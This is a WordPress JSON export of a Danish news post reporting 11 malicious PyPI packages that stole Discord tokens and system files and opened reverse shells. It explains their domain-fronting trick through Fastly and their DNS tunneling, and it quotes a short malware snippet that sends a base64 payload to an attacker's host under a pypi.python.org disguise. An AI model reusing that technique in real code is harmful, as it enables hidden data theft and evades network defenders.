{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"Malicious libraries using the PyPI CDN to conceal their communication channel have been identified in the PyPI catalog","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>I kataloget PyPI (Python Package Index) er der identificeret 11 pakker, der indeholder skadelig kode. F\u00f8r problemerne blev opdaget, blev pakkerne downloadet omkring 38 tusinde gange. De identificerede skadelige pakker er bem\u00e6rkelsesv\u00e6rdige for deres brug af snedige metoder til at skjule kommunikationskanaler med angribernes servere.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 downloads), important-package (12897) \u2014 etablerede en forbindelse til en ekstern server som om det var en forbindelse til pypi.python.org for at give shell-adgang til systemet (reverse shell) og brugte programmet trevorc2 til at skjule kommunikationskanalen.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 brugte DNS som en kommunikationskanal til at overf\u00f8re systemoplysninger (i den f\u00f8rste pakke v\u00e6rtsnavn, arbejdsmappe, intern og ekstern IP, i den anden \u2014 brugernavn og v\u00e6rtsnavn).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 identificerede Discord service token p\u00e5 systemet og sendte det til en ekstern v\u00e6rt.\n<li class=\"l\"> trrfab (287) \u2014 sendte til en ekstern v\u00e6rt identifikator, v\u00e6rtsnavn og indhold fra \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 etablerede en reverse shell-forbindelse til en ekstern v\u00e6rt.\n<li class=\"l\"> yandex-yt (4183) \u2014 viste en meddelelse om systemkompromittering og omdirigerede til en side med yderligere information om de efterf\u00f8lgende handlinger, pr\u00e6senteret via nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Specielt bem\u00e6rkelsesv\u00e6rdig er metoden til at henvende sig til eksterne v\u00e6rter, der anvendes i pakkerne importantpackage og important-package, som brugte indholdsleveringsnetv\u00e6rket Fastly til at skjule deres aktiviteter, anvendt i PyPI-kataloget. Faktisk blev foresp\u00f8rgsler sendt til serveren pypi.python.org (herunder ved at angive navnet python.org i SNI inden i HTTPS-foresp\u00f8rgslen), men i HTTP-headeren 'Host' blev servernavnet, kontrolleret af angriberne, sat (sec.forward.io.global.prod.fastly.net). Indholdsleveringsnetv\u00e6rket dirigerede en s\u00e5dan foresp\u00f8rgsel til angribenes server ved at bruge TLS-forbindelsesparametre med pypi.python.org.       <\/p>\n<p>Driften af PyPI-infrastrukturen sikres ved hj\u00e6lp af indholdsleveringsnetv\u00e6rket Fastly, hvor et transparent proxy Varnish bruges til caching af typiske foresp\u00f8rgsler, og TLS-certifikater behandles p\u00e5 CDN-niveau, ikke p\u00e5 de endelige servere, for at organisere videref\u00f8rsel af HTTPS-foresp\u00f8rgsler via proxy. Uanset den m\u00e5lrettede v\u00e6rt sendes foresp\u00f8rgsler til proxyen, som bestemmer den n\u00f8dvendige v\u00e6rt efter HTTP-headeren 'Host'. <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/da\/domain\/\"   title=\"dom\u00e6nenavne\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">dom\u00e6nenavne<\/a> Hosts are linked to standard IP addresses of CDN load balancers for all Fastly clients.      <\/p>\n<p>Angrebsserveren registreres ogs\u00e5 hos CDN Fastly, som tilbyder gratis abonnementsplaner til alle og tillader endda anonym registrering. Det er bem\u00e6rkelsesv\u00e6rdigt, at den samme metode anvendes til at sende anmodninger til offeret ved oprettelsen af en 'reverse shell', men initieret fra angriberens v\u00e6rt. Fra den anden side ser interaktionen med angriberens server ud som en legitim session med kataloget PyPI, krypteret med <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/da\/ssl-sertifikat\/\"   title=\"TLS certificate\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS certificate<\/a> PyPI. Denne teknik, kendt som 'domain fronting', blev tidligere aktivt brugt til at skjule v\u00e6rtens navn ved at omg\u00e5 blokeringer, ved at udnytte muligheden for HTTPS-anmodninger med en fiktiv v\u00e6rt angivet i SNI og den faktiske overf\u00f8rsel af den anmodede v\u00e6rts navn i HTTP-headeren Host inden for TLS-sessionen.     <center><img decoding=\"async\" alt=\"Malicious libraries using the PyPI CDN to conceal their communication channel have been identified in the PyPI catalog \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>For at skjule skadelig aktivitet blev der desuden anvendt pakken TrevorC2, der muligg\u00f8r interaktion med serveren som almindelig web-navigation, for eksempel blev skadelige anmodninger sendt som om de var en billeddownload 'https:\/\/pypi.python.org\/images\/guid=' med kodning af oplysningerne i guid-parameteren.           url = 'https:\/\/pypi.python.org' + '\/images' + '?' + 'guid=' + b64_payload     r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})      <\/p>\n<p>I pakkerne pptest og ipboards blev en anden tilgang anvendt til at skjule netv\u00e6rksaktivitet, baseret p\u00e5 kodning af nyttige oplysninger i anmodninger til DNS-serveren. Malware overf\u00f8rer oplysninger ved at udf\u00f8re DNS-anmodninger som 'nu4timjagq4fimbuhe.example.com', hvor de overf\u00f8rte data til kontrolserveren er kodet i dom\u00e6nenavnet ved hj\u00e6lp af base64-formatet. Angriberen modtager meddelelsesdataene ved at overv\u00e5ge DNS-serveren for dom\u00e6net example.com.<br \/>\n<br \/>Kilde: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/da\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"da_DK\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/da\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Malicious libraries have been found in the PyPI catalog that use the PyPI CDN to hide the communication channel | ProHoster","description":"The PyPI (Python Package Index) catalog has identified 11 packages that contain malicious code. Before the issues were discovered, these packages had been downloaded about 38,000 times in total.","canonical_url":"https:\/\/prohoster.info\/da\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"da_DK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/da\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}